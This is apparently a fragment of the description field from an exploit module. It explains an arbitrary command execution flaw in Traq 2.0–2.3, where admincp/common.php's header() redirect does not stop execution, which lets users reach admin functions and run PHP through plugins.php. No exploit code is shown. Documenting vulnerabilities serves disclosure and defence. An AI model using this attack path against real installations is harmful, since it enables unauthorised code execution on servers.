'Description' => % q {

This module exploits an arbitrary command execution vulnerability in

Traq 2.0 to 2.3. It's in the admincp/common. php script.

 

This function is called in each script located into/admicp/directory

Make sure the user has admin rights, but this is a broken authorization

Schema due to the header () function doesn't stop the execution flow. This

Can be exploited by malicious users to execute admin functionality resulting

For e.g. in execution of arbitrary PHP code leveraging of plugins. php

Functionality.
